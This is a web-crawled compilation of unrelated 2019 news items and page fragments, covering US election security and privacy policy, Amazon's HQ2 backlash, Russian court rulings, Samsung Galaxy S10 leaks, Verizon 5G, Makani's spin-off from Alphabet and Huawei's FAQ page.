"I hope that when H.R. 1 stalls in the Senate, which it will, we revisit the issue of election security in a bipartisan manner," said Rep. Mike Rogers, (R-Ala.), the ranking member of the committee.

Rogers questioned the value of increasing spending on security, given that it would be difficult to spend the money before the next round of primaries.

Be smart: Voting machines are indeed hackable, but election security touches on deep issues of distrust between states and the federal government. States control elections, including election machine purchases, and both Congress and federal agencies have struggled in the past to convince the states that even voluntary help from the national government does not amount to a government takeover.

That relationship is improving, said the director of Homeland Security's Cybersecurity and Infrastructure Security Agency, Christopher Krebs. "Right now that relationship is strong and getting stronger."

Krebs and Thomas Hicks, commissioner of the Election Assistance Commission, emphasized that upgrading infrastructure to increase the audit-ability of elections  from registration through voting  is a current key priority.

The bottom line: It may be time for a more forceful hand by the federal government, witness Jake Braun, CEO of Cambridge Global Advisors, told Axios before the afternoon hearing.

"The best model might be MADD [Mothers Against Drunk Driving]," he said. "States didn't raise all their blood alcohol level laws until Congress withheld funding from the Department of Transportation."

Go deeper: House Democrats' first bill has an eye on election securityThe Government Accountability Office, which gives nonpartisan advice to Congress, said in a report released Wednesday that "this is an appropriate time for Congress to consider comprehensive internet privacy legislation."

Why it matters: The finding adds fuel to calls for a national privacy law, as state and foreign regulators crack down on data-hungry companies like Google and Facebook.

Details: Democrats on the House Energy and Commerce Committee commissioned the GAO report in 2017 and released it Wednesday, after receiving it earlier this year.

"Comprehensive internet privacy legislation that establishes specific standards and includes traditional notice-and-comment rulemaking and broader civil penalty authority could enhance the federal governments ability to protect consumer privacy," said the GAO's report.

The agency's staff interviewed people linked to Google, Facebook, Apple and other internet companies. They also talked to outside academics, internet service providers and advocates who argue for tougher privacy rules.

In their interviews, the agency staffers who worked on the report identified a split between many industry representatives who believed the current system worked fairly well, while outsiders said it needed to be modified to protect consumers.

The big picture: The release of the report coincides with a bigger push among lawmakers of both parties  including now-in-charge House Democrats  to craft a privacy agenda.

"From the Cambridge Analytica scandal to the unauthorized disclosures of real-time location data, consumers privacy is being violated online and offline in alarming and dangerous ways, said Energy and Commerce Committee Chairman Frank Pallone in a statement.

This detailed GAO report makes clear now is the time for comprehensive congressional action on privacy that should include ensuring any agency that oversees consumer privacy has the tools to protect consumers," he said.

The committee also announced Wednesday it would hold a hearing later this month on privacy. Its Republican-controlled Senate counterpart will host its own hearing in February as well.

What's next: House Democrats have yet to coalesce around a single piece of privacy legislation or a group of bills.

Go deeper: Read the whole reportIn the fall of 2017, Amazon made itself a feted hero to towns and cities across the United States, celebrated for promising to create 50,000 new jobs paying some $100,000 a year in a lucky place that would host the company's second headquarters.

Why it matters: Amazon may be forced to give up at least some of the $3 billion in concessions it was granted in November to create some 25,000 jobs in New York City  or build its HQ2 somewhere else.

Amazon is staring down a crisis of reputation: Its HQ2 search, launched in an era of public support verging on adulation, is now caught up in a very different epoch of popular unhappiness with the unchecked power of wealthy companies.

The big picture: The stink against bigness is spreading, with scholars, lawmakers and grassroots organizers decrying the same Big Tech companies that were once considered 21st century champions.

In Louisiana, a small school board's "no" vote against a $2.9 million subsidy for Exxon  a historically Big Oil-friendly state  fueled panic, reports the NYT.

a small school board's "no" vote against a $2.9 million subsidy for Exxon  a historically Big Oil-friendly state  fueled panic, reports the NYT. In Virginia, Lee Carter, a self-described socialist and a state lawmaker, is slamming the state's decision to give chip giant Micron $70 million for 1,1000 jobs as corrupt.

Lee Carter, a self-described socialist and a state lawmaker, is slamming the state's decision to give chip giant Micron $70 million for 1,1000 jobs as corrupt. And the doozy: Last week, the Washington Post and the Wall Street Journal reported that Amazon was reconsidering its new New York location. Last month, a company spokesman seemed to say the same thing at a New York City Council meeting.

"In economic development circles, there's been hand-wringing for years about incentives. That said, I've not seen the sort of public backlash that has made a company think twice. Nowhere near this magnitude."

 Adam Kamins, director at Moody's Analytics

Between the lines: The friction between Amazon and activists is a sure sign of the times. One of the most powerful corporate behemoths, run by the richest man in the world, has selected a site in a community predominantly occupied by working class New Yorkers of color  and the plot is next to the city's largest public housing project.

The deal comes on the heels of 2020 campaign announcements, at a time when Democrats are grasping for a unifying cause. And the fight against big corporations and big tax breaks is a ripe political issue, says Aaron Chatterji, a professor at Duke's Fuqua School of Business.

What's happening: At a press conference Monday, New York Gov. Andrew Cuomo called HQ2 "the single greatest economic development transaction in the states history," and said it would be wrong to stop the deal due to some political backlash.

At the center of that pushback is state Sen. Michael Gianaris, a vocal opponent of HQ2. Gianaris, who has been nominated to a three-person state board that has veto power over the agreement, flatly says the deal ought to be killed.

is state Sen. Michael Gianaris, a vocal opponent of HQ2. Gianaris, who has been nominated to a three-person state board that has veto power over the agreement, flatly says the deal ought to be killed. Gianaris' nomination to the board is pending Cuomo's signoff. But he tells me, even if the governor rejects him, it'll be difficult to find widespread support for HQ2 in the state legislature.

The other side: Despite the very public and very loud opposition to Amazon, the public seems to generally approve of the deal. Per a new Siena College Research Institute poll, New Yorkers support HQ2 by a 20-point margin.

There are still several cities itching to welcome Amazon to town.

A few of the losing locales geared up to throw their names into the mix once again. Connecticut Gov. Ned Lamont tweeted that his state was ready to welcome Amazon. Economic development leaders in Dallas, which was a top finalist, did the same.

geared up to throw their names into the mix once again. Connecticut Gov. Ned Lamont tweeted that his state was ready to welcome Amazon. Economic development leaders in Dallas, which was a top finalist, did the same. Officials from Nashville, which got 5,000 jobs as part of the HQ2 split, tell me they plan to bid for New York's share if those jobs become available.

I asked Amazon whether it might have to give up some or all of the New York concessions. It responded with this statement:

"We are excited to work with New Yorkers over the coming months and years to bring a new Amazon headquarters to Long Island City and help support the community. We will create 25,000 corporate and technology jobs directly, as well as tens of thousands of other jobs in construction, building services, hospitality and other service industries for all of Queens. We expect our new headquarters to generate more than $27 billion in new tax revenues for community improvements and the people of New York.

The bottom line: "There has been pushback against incentives before, and there will be again," says Tim Bartik, a senior economist at the Upjohn Institute. "But the underlying factors that push incentives up  lagging real wages, pressure on governors and mayors to do something dramatic  remain."No Overreach  A federal appeals court has ruled that the Trump administration did not exceed its authority by waiving environmental regulations to rebuild sections of wall near San Diego and Calexico.Copyright  2020 by Mountain Times Publications. Digital or printed dissemination of this content without prior written consent is a violation of federal law and may be subject to legal action.With Valentine's day right around the corner, Honda Cars Philippines, Inc. (HCPI) just gave us a way to get the ultimate gift for hearts' day. A 4-day sale from the 14th to the 17th of February has just been announced and buyers can get special deals and discounts of up to PhP 80,000 on select Honda models and variants.

Both the City and Civic are included in the sale, and to make their best-selling sedans more affordable, HCPI is giving a Php 35,000 discount for both the E and VX Navi City, and the E and RS Navi Civic. Those in the market for 7-seaters are also in for a treat. The 2018 year model S and V Navi variants of the BR-V will have a PhP 40,000 discount, while a PhP 35,000 discount has been applied for the 2019 year model of the same variants. Need something bigger? The diesel CR-V is also on sale with the S variant being given a PhP 70,000 price cut, while the V variant gets a bigger slash of PhP 80,000.

This is the best time for customers to finally visit any Honda dealership nationwide and inquire about Honda's Exclusive Deals for this months 4-Day Sale and take home a brand new Honda with the amazing deals and special offers available. Customers may now inquire at any of the 38 Honda Car Dealerships nationwide to know more about the limited offer.Last years APEC summit took place in November in Port Moresby, Papua New Guinea. To allow the 10,000 or so delegates and guests to move from place to place, hundreds of cars were purchased by the tiny nation's government and loaned to people involved in the event.Three or so months later, reports surfaced of local authorities being on a hunt to recover 284 of these cars, as those who took possession of the vehicles didnt bother to return them.According to Radio NZ , the countrys Department of Finance asked local police for help in recovering a number of assets purchased over the last three years for the APEC summit, including the said cars. The missing vehicles vary in shape and size from Toyota Land Cruisers to Maserati Quattroporte and Bentley Flying Spurs Papua New Guinea is currently struggling to piece together the puzzle of whats missing, with the goal of tracking down the culprits and recovering the goods."All state assets especially vehicles purchased by Government agencies and authorized for certain proposes have been claimed by certain individuals through unlawful means," Superintendent Dennis Corcoran, the head of the State Asset Recovery unit, was quoted as saying by the source."Anyone obtained or is in possession of state asset through illegal means will be arrested and charged."The official also warns he is in the possession of the list of people who signed the cars out in November.So far, police have uncovered that about nine of the missing cars have been stolen, several damaged and have even arrested a man for siphoning fuel from the cars parked in a government facility.Ok, so Ive been over to HK to spend time with my Filipina girlfriend and weve decided we want to marry. Plan is to go back in July to get married in Hong Kong and go from there. I shall be returning to Australia after probably visiting the Phillipines to spend some time with her family.

Plan after that would be to put in an application to come to live in Australia with me. Any suggestions would be greatly appreciated. Thank youKing & Wood Mallesons (KWM) advised Brookfield Infrastructure on its recent purchase of AT&Ts global data centre colocation operations in conjunction with King & Spalding LLP.

The transaction is valued at $1.1 billion and includes 31 data centres across five continents. The centres will be operated by a newly created and wholly owned subsidiary of Brookfield, Evoque Data Center Solutions, which will now provide colocation services to more than 1,000 business customers, in partnership with AT&Ts wider enterprise offering.

A global collaboration, the KWM team advising Brookfield was led by partner Adrian Perkins and included lawyers from the firms offices in Sydney, Hong Kong, Shanghai, and Singapore.Local Magazine is here!

The summer 2021 issue of Local Magazine is out. Pick up a copy of your favorite local magazine around town or peruse our e-edition below. Because the best things in life are local.Of custody and crypto The normally staid world of custody banking is now having to embrace the wild child of global assets: cryptocurrency. And this is happening just as bitcoin, the poster child of cryptocurrency, seesawed from US$30,000 one week to $40,000 the next, shedding then recovering 30% of its value. Some bitcoin bulls are talking of $100,000 by year-endPlease enter your Account number.

This number is located on the address label of your print copy, immediately above your name.Gary Tinterow, director of the Museum of Fine Arts, Houston, has a knack for attracting distinguished staff, perhaps capitalizing on contacts he made during his tenure as former chairman of 19th-Century, Modern and Contemporary Art at the Metropolitan Museum.

Gary Tinterow at a NYC presentation about the expansion of Museum of Fine Arts, Houston

Photo by Lee Rosenbaum

After Garys homecoming to Houston (where he grew up), to assume the MFAHs directorship in 2012, one of his first and best hires was David Bomford, who became chairman of conservation and curator of European art. (He had previously served as the Getty Museums director of conservation, associate director for collections and, after the departure of Michael Brand, as its acting director.)

On Feb. 7, Bomford and his wife, Zahira Veliz Bomford, who joined him at the MFAH as senior paintings conservator (and had formerly worked at the Met), announced that they would jointly retire from their jobs in March, moving to the U.K.

David Bomford and Zahira Veliz Bomford

Photo courtesy Museum of Fine Arts, Houston

One of Bomfords major Houston missions is accomplishedoverseeing the development of the MFAHs Sarah Campbell Blaffer Foundation Center for Conservation, which was completed in October and is part of the sweeping, still ongoing redevelopment of the museums 14-acre campus.

Sarah Campbell Blaffer Foundation Center for Conservation, Lake|Flato Architects

Photograph  Richard Barnes

Bomfords curatorial swansong at the MFAH will be Vincent van Gogh: His Life in Art (Mar. 10-June 27, 2019)a comprehensive survey of paintings and sketches. To be seen exclusively in Houston, it will present a rich and complex narrative (Bomfords words), elucidating more than 50 portraits, landscapes, and still lifes from major international collectionsmost notably, rarely loaned masterworks from the Van Gogh Museum, Amsterdam, and Kroller-Muller Museum, Otterlo.

It sounds like a must-see. Heres one reason why:

Vincent van Gogh, Irises, May 1890, oil on canvas

Van Gogh Museum, Amsterdam (Vincent van Gogh Foundation)

Zahira Bomfords accomplishments at MFAH include leadership of a research and conservation project that recently resulted in upgrading the MFAHs Kitchen Maid from in the style of Diego Velazquez to attributed to Diego Velazquez. In the museums collection for decades, the paintings quality had been obscured by heavy-handed treatment it had undergone in the 1950s, according to Zahiras comments in this video.

Attributed to Diego Velazquez, Kitchen Maid, c. 1620, oil on canvas

Gift of Mr. and Mrs. Harris Masterson III

Tinterow clearly had notice of the Bomfords travel plans, well ahead of last weeks public announcement: Although he is still working on finding a replacement for David as curator of European art (which is Garys own specialty), he has already lined up a distinguished new head of conservationsomeone well known to CultureGrrl readers:

Per Knutas, in his current post as chief conservator of the Cleveland Museum

Photo by Lee Rosenbaum

Perhaps best known for his role in overseeing the conservation of the Cleveland Museums prized Caravaggio, The Crucifixion of Saint Andrew, Per Knutas (scheduled to arrive at MFAH in July) starred in one of my favorite CultureGrrl Videos. (I confess to a fascination for conservation.)

Come join me as we revisit Knutas disquisition on restoring the four-centuries-old masterpiece:On Monday evening, the union CUPE Local 15 said it had reached an agreement with the museum in its ongoing negotiations over elements of a prior contract, which representatives said expired in June 2017.  ARTnews



Have any questions? Please give us a call at 541-889-5387We're always interested in hearing about news in our community. Let us know what's going on!

SubmitRussias Supreme Court dissatisfied with quality of investigative activities

 RAPSI, Vladimir Burnov

16:52 13/02/2019

MOSCOW, February 13 (RAPSI, Kirill Ryabchikov)  The proper course of justice depends on the quality of underlying it investigative operations, Vladimir Davydov, a Deputy Chairman of the Supreme Court of Russia said addressing a meeting of court chairpersons on Wednesday. Therefore, he continued, one must not turn a blind eye to unsatisfactory performance of these bodies.

According to Davydov, courts more often than not tend to overestimate the quality of investigation, whereas the documents regional courts submit to the Supreme Court, while evaluating the performance of investigation as satisfactory constantly demonstrate breaches of legislation committed by investigators. Besides, he said, there were observed systemic violations, whereas the courts often pass special rulings against investigative bodies. Davydov called the participants to pay more attention to the problems he raised in his speech.

The meeting of the chairpersons of regional courts, district military and commercial courts, commercial courts of appeals and regional courts of appeals as a videoconference has been organized by the Supreme Court of Russia to summarize the results of work of general jurisdiction and commercial courts in 2018 and to set priority tasks the judiciary will face in 2019.



Owosso, MI (48867)

Today

A mix of clouds and sun early followed by cloudy skies this afternoon. High 81F. Winds SSW at 10 to 20 mph..

Tonight

Cloudy this evening with showers after midnight. Thunder possible. Low 68F. Winds S at 5 to 10 mph. Chance of rain 50%.Ethiopian Jews in Israel are immigrants and descendants of the immigrants of the Beta Israel communities of Ethiopia, who now reside in Israel.

Most of the community emigrated from Ethiopia to Israel in two waves of mass immigration assisted by the Israeli government: Operation Moses (1984) and Operation Solomon (1991). Today Israel is home to the largest Beta Israel community in the world with about 129,500 citizens of Ethiopian descent, who are mainly assembled in the smaller urban areas of central and northern Israel.

The building is a community and social center for the Ethiopian community in Kiryat Bialik, a town in northern Israel, designed to serve as a space for public and private gatherings for the community and serve as a bridge between customs and traditions of the past and present, and house the varied needs of the community in educational, vocational and social activities.

The building is intended to serve the entire local population, with a visual emphasis on the heritage of Ethiopian immigrants.

The design of the building was inspired by the traditional vernacular Tukul - a round mud hut with a cone-shaped thatched roof, which is usually found in Ethiopia, Sudan and other parts of eastern Africa.

The materials and colors chosen for the design of the space simulate a typical building in Ethiopia, brown textured plaster - inspired by mud, diagonal windows hint at "traditional dance", the construction is exposed and the roof is raised as part of the tradition of using local materials to give visual and ethnic expression to the community center using modern features and utilizing natural ventilation and lighting.

Subject to the program, the building was divided into two main spaces, providing a separate and integrated space suitable for community gatherings of a diverse nature.

The two spaces, internal and external, are connected by a central axis, a kind of "street" which serves as an art gallery and connects a complex of offices and classrooms as well as a multi-purpose elliptical hall designed to accommodate up to 250 guests, to a large inner courtyard amphitheater, intended for outdoor activities, summer events and social gatherings which completes the Tukul inspired ellipse and serves as an entrance to the main hall.

- The perforated outer shell, the construction of bricks in skips and the transparent facades provide privacy but also open views towards the surrounding environment and invite the general public to participate in the communal experience.

Architecture: Atelier d'ArchitectureWearing their ministerial pin, sober suits and a yellow ribbon in the case of Jordi Sanchez, the nine political prisoners reappeared on Tuesday in Madrids Supreme Court. Screens have been erected in the corridors to ensure that journalists are unable to see the defendants enter the courtroom. Oriol Junqueras, Raul Romeva and Joaquim Forn are seated in the first row of the accused. Jordi Sanchez, Jordi Turull and Josep Rull are in the second. Jordi Cuixart, Carme Forcadell and Dolors Bassa occupy the third row. And the fourth is occupied by the three former ministers who are not on remand: Carles Mundo, Santi Vila and Meritxell Borras. In the end, none of them chose to sit behind their lawyer, as the court had granted them leave to do.St. Petersburg court refuses to free ex-lawmaker convicted of bribery on parole

 Mikhail Telekhov, RAPSI

13:09 13/02/2019

ST. PETERSBURG, February 13 (RAPSI, Mikhail Telekhov)  The St. Petersburg City Court on Wednesday upheld a lower courts refusal to release ex-member of the citys Legislative Assembly Vyacheslav Notyag convicted of taking bribes on parole, the United press service of St. Petersburg courts told RAPSI.

The Smolninsky District Court of St. Petersburg denied parole to Notyag in October 2018.

Notyag received three years in a high-security prison and was fined one million rubles in January 2018.

Pursuant to case materials, in June 2015, Notyag demanded bribes worth no less than 300,000 rubles ($4,500) quarterly from businessman Oleg Glushchenko. In turn, the lawmaker promised not to hinder construction works the businessmans firm carried out in a city district. In such a manner, according to investigators, the defendant frequently accepted bribes totaling to at least 1 million rubles (about $15,000 at current exchange rate) over this period of time.

Officers of the Federal Security Service Directorate for St. Petersburg and Leningrad region arrested Notyag when the businessman gave him 600,000 rubles ($9,000).Purchase an online subscription to our website for $7.99 a month with automatic renewal. Each online subscription gives you full access to all of our newspaper websites and mobile applications. To cancel you may contact Customer Service @ 256-235-9253 or email JPAYNE@ANNISTONSTAR.COM



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Posted on: February 13, 2019 10:05 AM

Reports from Nigeria say that a priest from the Diocese of Sokoto has been murdered by kidnappers who are continuing to hold his family. According to the reports, Anthony Idris Jatau was abducted on Thursday night by kidnappers who also took his wife, three children and two sisters-in-law. His body was found by the side of the road on Saturday.

There has been no official confirmation of the reports; but various blogs and social media channels have reported the kidnapping  several of them showing a photo of the body. An anonymous source from the Diocese of Sokoto told Nigerias Punch newspaper that the kidnappers have demanded a ransom of 10 million Nigerian Naira (approximately 21,500 GBP) for the release of his family.

Everybody is sad at the moment and afraid for the lives of his family members still in the custody of the bandits, Punch quoted the source as saying. The church doesnt have such money but its hoping to raise a substantial sum to secure the release of the victims.

The abductors separated the kids into different locations as it was glaring when they called and asked them to speak with the person whose mobile telephone the victims gave them.

There is panic among worshippers as time is ticking and no one knows what their next line of action will be. Security agencies are aware of the case but there is nothing yet.

The reports say that Jatau, from South Kaduna, had studied at the Crowther Graduate Theological Seminary in Abeokuta, in Ogun State, prior to ordination. He was on his way to a new posting in Katsina State when gunman opened fire on the car in Zamfara state, forcing it to skid off the road.

The reports also say that Jatau had survived a previous kidnapping, in September 2006, while serving at St Andrews Church in the Diocese of Nnewi.

The Archbishop of Canterbury, Justin Welby, told the Anglican Communion News Service that he was deeply distressed and saddened by the news.

My prayers and those of the whole community at Lambeth Palace are with the family of the Reverend Anthony Idris Jatau, who grieve even as they continue to be held in captivity and great danger, he said. May God draw near them in comfort, and bring the freedom and justice that are so urgently needed.

We pray too for the church led by the Reverend Jatau, for all those suffering persecution for their faith, and for the whole nation of Nigeria, that Jesus Christ would light the path away from violence and towards peace.

Kidnapping is a regular occurrence in Nigeria. In December, the Bishop of Ahoada, Clement Ekpeye, was kidnapped when abductors forced their way into his home in Rivers State. He was released after five days in captivity.Posted on: February 13, 2019 6:29 PM

The Church of Englands Bishop of St Albans, Dr Alan Smith, has welcomed new moves to restrict advertisements for gambling-related products and services; but has warned that they do not go far enough. The new rules, drawn up by the Committee on Advertising Practice (CAP) will be enforced by the Advertising Standards Authority throughout the UK. They prohibit online ads for gambling products being targeted at groups of individuals who are likely to be under 18; ban types of advertising content, including the use of animated characters and licensed characters from movies or television, and sportspeople and celebrities that are likely to be of particular appeal to children and youth culture; and prohibit the use in gambling ads of sportspersons, celebrities or other characters who are or appear to be under 25.

While I welcome the proposals in this move, these new standards are, in fact, another lost opportunity in the fight against problem gambling, Bishop Alan said. With little consequences for companies flouting the rules and few teeth to enforce these new directives, the Committee of Advertising Practice needs to step-up their approach.

With so many of the proposals relying on betting firms to self-regulate I sadly have little hope for major changes to the way gambling advertises. This endless barrage of adverts has normalised gambling and we now have 55,000 children who are problem gamblers and it is time for the gambling industry to take this issue seriously.

Bishop Alan has tabled a motion for discussion at the Church of Englands General Synod on Saturday 23 February, calling on the government to reduce the quantity and pervasiveness of gambling advertising and introduce a mandatory levy on gambling firms to fund independently commissioned research, education, and treatment programs.

He said it is our moral duty to protect young people from gambling-related harm and I hope the Committee of Advertising Practice will support my General Synod motion demanding tighter regulation around gambling advertising.Verizon has kicked off a new leg of its 5G journey with an effort to get people involved with the rollout on a community level called Lets 5G! The goal of the initiative is to give consumers a voice in deciding where the next-generation networks will appear next by providing them with an easy to fill-out form aimed directly at elected decision-makers. The associated message hinges on benefits that 5G can deliver and the form only requires the input of a name, address, and email.

The newly launched Lets 5G! website also provides a veritable wealth of information about the technology itself, presented in easy-to-understand laymans terms. Summarily, it notes how 5G can support a massive increase in the number of connected devices via massive MIMO and that it can achieve speeds up to 20-times that of 4G LTE.

Why the big push for communal support?

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The 5G technology Verizon is pushing forward is already available in parts of Houston, Indianapolis, Los Angeles, and Sacramento but the actual coverage available might provide key insights into the new Lets 5G! initiative. Recently leaked internal maps showing the total coverage of the 5G networks shows dismal reach at best for the currently active small cells 5G relies on.

This meant that, aside from the fact that the initial service launch depends largely on fixed lines, for now, users would only have access to 5G within certain neighborhoods. Adding to the conundrum, Verizon 5G Home costs $70 per month or $50 per month for customers with three months of free service on offer. Speeds were also falling in at around 300 Mbps rather than the gigabit speeds 5G is supposed to be measured in.

By bringing forward an initiative aimed at getting entire communities involved, Verizon may be looking to create a bridge between itself, elected officials, and end users. Effectively, helping to grow demand and create a financial incentive for the companys wireless rollout, depending on negotiations between elected officials and the carrier  spurred by demand from constituents.

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5Gs true purpose, according to Verizon

The rollout of 5G wont only be supporting smartphones and general home internet either, the company says. Instead, Verizon says that it potentially needs to provide coverage to carry signals from as many as 2.5 million connected devices per square mile. Devices will predominantly be comprised of those in the IoT, including smart home products, enterprise gadgets, and smart city implementations.

Autonomous and connected smart cars will make up another portion of the connected environment served by its 5G rollout, in addition to healthcare industry technology. The latter of those could include long-distance doctor visits and robotic life-saving procedures performed at a distance, Verizon claims.

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The network will need to deliver lag-free 4K streaming content, power self-driving vehicles as well as other AI innovations, and run other technologies that havent been invented yet while still meeting stringent safety standards. The company implies this may be too big of a goal for a company to meet in a timely fashion without an informed public behind the effort.Russian court allows HIV positive woman to adopt child

 flickr.com/ Quinn Dombrowski

11:56 13/02/2019

MOSCOW, February 13 (RAPSI)  A court in the Moscow Region has permitted a HIV positive woman to adopt a child, her attorney Ilnur Sharapov has told RAPSI.

The woman plaintiff has been infected with HI virus and Hepatitis C in a medical centre where she applied after unsuccessful efforts to become pregnant. It has nearly killed her, and she has also become infertile, Sharapov has said.

According to the lawyer, the plaintiffs sister has given birth to the child for the HIV positive woman using artificial insemination.

The case has been reconsidered based on the Constitutional Court ruling where the woman had turned earlier.

In 2018, the Constitutional Court of Russia granted an application by the woman and her family and declared adoption ban for HIV positives illegal. Following this ruling, in December, relevant amendments were introduced in the Family Code of Russia.



Samsung has just confirmed the names of its upcoming Galaxy S10 series handsets. The information surfaced on Samsung France website, and it confirms that the upcoming devices will be called the Galaxy S10e, S10, and S10+. This was pretty much a given already, but its now official. That is pretty much all the information that Samsung shared.

Samsung France may not have provided us with extra info on the Galaxy S10 series, but a ton of information leaked thus far, as we pretty much already know what all the phones will look like, and what specifications can we expect to see. The only question at this point is whether the 5G-enabled Galaxy S10+ will make an appearance at the companys press conference on February 20 in San Francisco, but all the other variants will be announced.

Galaxy S10 Series Design

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All Galaxy S10 smartphones will look quite similar in comparison, but there will be some difference between them in terms of the design. The Galaxy S10e will be the only Galaxy S10 smartphone to sport two cameras on the back, a side-facing fingerprint scanner, and a flat display. The phone will be made out of metal and glass, though, as all the other Galaxy S10 units (save for the Ceramic Black Galaxy S10+ variant). It will include two cameras on the back, and one in-display camera, which will be located in the top-right portion of its display.

The Galaxy S10 and S10+ will both ship with three cameras on the back, while both of them will include curved displays, and in-display fingerprint scanners. The Galaxy S10 will, much like the Galaxy S10e, sport a single front-facing camera, while the Galaxy S10+ will include two cameras in its display.

Galaxy S10 Series Specifications

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The Samsung Galaxy S10e will include a 5.8-inch fullHD+ AMOLED display, which will be flat, according to leaks. The phone will be available in both 6GB and 8GB RAM variants, while 12 and 16-megapixel cameras will sit on its back. The device will include a 10-megapixel camera on the front, and a 3,100mAh battery.

The Galaxy S10, on the other hand, is said to ship with a 6.1-inch QHD+ AMOLED display (curved), 6GB / 8GB of RAM and a 3,400mAh battery. The device will also be available in both 6GB and 8GB RAM variants, while it will incorporate two 12-megapixel cameras, and one 16-megapixel camera on the back. On the front, however, it will sport the same camera sensor as the Galaxy S10e.

The Galaxy S10+ will be the most powerful Galaxy S10 variant. This handset will sport a 6.3-inch QHD+ AMOLED display (curved), along with 6GB, 8GB or 12GB of RAM. The 12GB RAM variant will include a ceramic backplate, and it may ship with 5G support, it remains to be seen. The phone will sport a 4,100mAh battery, and the same back camera setup as the Galaxy S10. On the front side, it will include 10 and 8-megapixel cameras.

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Along with the Galaxy S10 series, Samsung may announce its foldable smartphone on February 20, but thats not as likely. We did see some teasers that suggest a foldable phone may arrive during that event, but its more likely that Samsung will mention it in some capacity, but not announce it.Samsung is already taking reservations for the Galaxy S10.

In spite of the smartphone having yet to be released, a new reserve section of the Samsung website is now live where those who are interested in being one of the first to get their hands on the new smartphone can register that interest.

While it might seem a bit premature to make a reservation before even knowing for sure what the phone has to offer, Samsung has released some information which might make the decision a little easier to make ahead of time. Especially for those who already know that they will be buying Samsungs latest smartphone, and want to make sure they have the most options available to them to secure the best deal and get the device in the shortest time.

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Firstly, the reserve form makes it clear that those who do pre-order early enough will receive their unit  while supplies last  by March 8, 2019. Basically, thats as much as a confirmation of the launch date as you are likely to get before the official announcement is made.

Also, Samsung is confirming that those looking to trade in a smartphone when purchasing the Galaxy S10 will be able to save up to $550 on the cost. As is usually the case the actual trade-in value will depend on the device, its age and condition.

Its also worth noting that $550 is a high amount for a trade-in which is worth taking as an indicator that this will most likely be an expensive smartphone in general.

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Adding to the savings aspect, those who reserve today will also be eligible to receive an additional $50 in credit which can be redeemed against the purchase of accessories. Samsung is expected to announce other devices alongside the Galaxy S10 including the possibility of a new smartwatch and earbuds, and theres already been rumors that Samsung will bundle the earbuds with a Galaxy S10 purchase.

This is unlikely to be much of a surprise considering this is a new Samsung Galaxy S device, but the reserve page also seems to largely confirm the device will be sold unlocked, as well as made available through all the major carriers in the U.S., including AT&T, T-Mobile, Sprint, U.S. Cellular and Verizon.

For those set on ordering the Galaxy S10, what might prove to be the most beneficial aspect of reserving is the option to get it first thanks to early access to the pre-order process.

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Anyone thinking off holding off before registering might want to take note that Samsung states the Reservation Period runs from today (February 12) through until February 20 at 11:59 p.m. Eastern Time (ET). Basically, until the device is announced on February 20.

From then on, the pre-order period looks set to officially begin on February 21, 2019 and this will run through until March 7, 2019 at 11:59 p.m. ET. Which further adds to the clear suggestion March 8 is indeed when the new Samsung Galaxy S10 will go on general sale.

Samsung does also point out that not all Galaxy device versions are eligible for this offer and this is probably best understood as an additional confirmation that the Galaxy S10 is going to arrive to market with multiple variant options.

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Although the exact number of options remains unclear, rumors have pointed to a minimum of three-to-four models, and as many as five, with the Galaxy S10e, S10 and S10+ (Plus) having all been heavily reported on.

Want to reserve your Galaxy S10 today? Then for now, all youll need to hand over is your name, email, zip code, state your carrier/unlocked preference, and click here.Makani, a moonshot project under Alphabets research firm X, is now an independent company. Fort Felker, the Chief Executive Officer (CEO) of Makani, made this announcement in a blog post. Makani follows in the footsteps of other moonshot projects that Alphabet later spun off as independent companies, including Projects Wing and Project Loon.

Makani started as a moonshot project that focuses on developing energy kites, a drone connected to a floating buoy on the sea or to a ground station using a flexible material. The energy kites fly at a height of up to 250 meters above sea level and transform the force provided by the wind into electricity. To gather energy from the air more efficiently, the drone runs autonomously in loops. Wind will cause the rotors of the drone to turn, which generates electricity that the energy kite transmits first to the buoy or the ground station and then to the electric grid. Makani estimates that its solution can produce as much as 600 kilowatts of energy, and on its website, the company suggests that its technology could power as much as 300 homes.

Using energy kites have several advantages over more traditional solutions. For example, energy kites are 90-percent lighter than products with similar goals, which results in reduced construction cost. This characteristic of Makanis solution also allows the company to roll out its product in areas where traditional technologies cannot be deployed easily, which include offshore locations with depths greater than 50 meters.

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Within the last few years, Makani has developed a commercial-scale prototype, although the company is still improving its technology through further research and partnerships. In the same blog post, Makani announced its partnership with the oil and gas company Shell. The European company will provide Makani with the necessary technologies and expertise in developing floating structures. The two firms are currently working on a new floating system in Norway, which Makani expects to become operational in the latter part of the year. The new company also said that its current focus is on refining its product in preparation for commercial production and use and that it will continue its trials in its testing site in Hawaii.

As Makani becomes an independent business, its direction now moves from simply developing a working version of its technology to making a profit from its product. However, the company itself admits that it may take some time before its energy solution becomes commercially available, and Makani aims to set up more partnerships to further refine its product. Since Makani is now an independent company, X will likely distribute the resources formerly allocated with its operations to other moonshot projects.

X supports several projects related to the development of renewable energy solutions. Aside from Makani, several researchers from Alphabets moonshot research division is working on Malta, a technology that could efficiently store the electricity generated by solar and wind power plants, which should help reduce the need for more predictable sources of energy like coal and natural gas. If Alphabet succeeds in developing an efficient power generation setup that uses renewable energy, it will allow the tech giant to grab a share of the rapidly growing renewable power industry.Huawei launched a full-fledged FAQ page addressing some of its most recent scandals from the technology segment, with the company apparently opting for the move because it was overwhelmed with questions and general inquiries on 5G, digital privacy, and other related topics.

The fact sheet in question reiterates a dozen or so arguments Huawei used for dismissing security concerns about its products and services in the past, stating the firm never made questionable decisions on that front and downplaying legitimate reports that would indicate the opposite. Huawei is still insistent to describe itself as a 100-percent employee-owned entity, though the reality is somewhat more complicated; its shares arent transferable in the sense that they can be traded, they can only be issued to employees and are valid for the duration of ones employment.

The actual process of deciding who gets how many shares at what time and how shares are meant to be redistributed is much more opaque, as are the proceedings taking place when it comes to significant corporate decisions. Huawei has long been criticized for its ties to the Chinese communist government, with its founder Ren Zhengfei being a former officer of the Peoples Liberation Army.

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The companys newly launched FAQ page also mentions its recent investments in the cybersecurity space and lists several third-party organizations in charge of verifying the integrity of its solutions. While the FAQ was initially announced by Huaweis Canadian branch, its hosted by the companys international website and has been worded so as to pertain to all of its operations.

The move comes shortly after the United States, Australia, and New Zealand voted to ban the firm from the context of any state-sponsored use, with the latter two also outlawing its ambitions in the 5G segment. While Washington technically didnt forbid private wireless carriers to use Huawei tech for rolling out the fifth generation of mobile networks, such a scenario is extremely unlikely anyway.

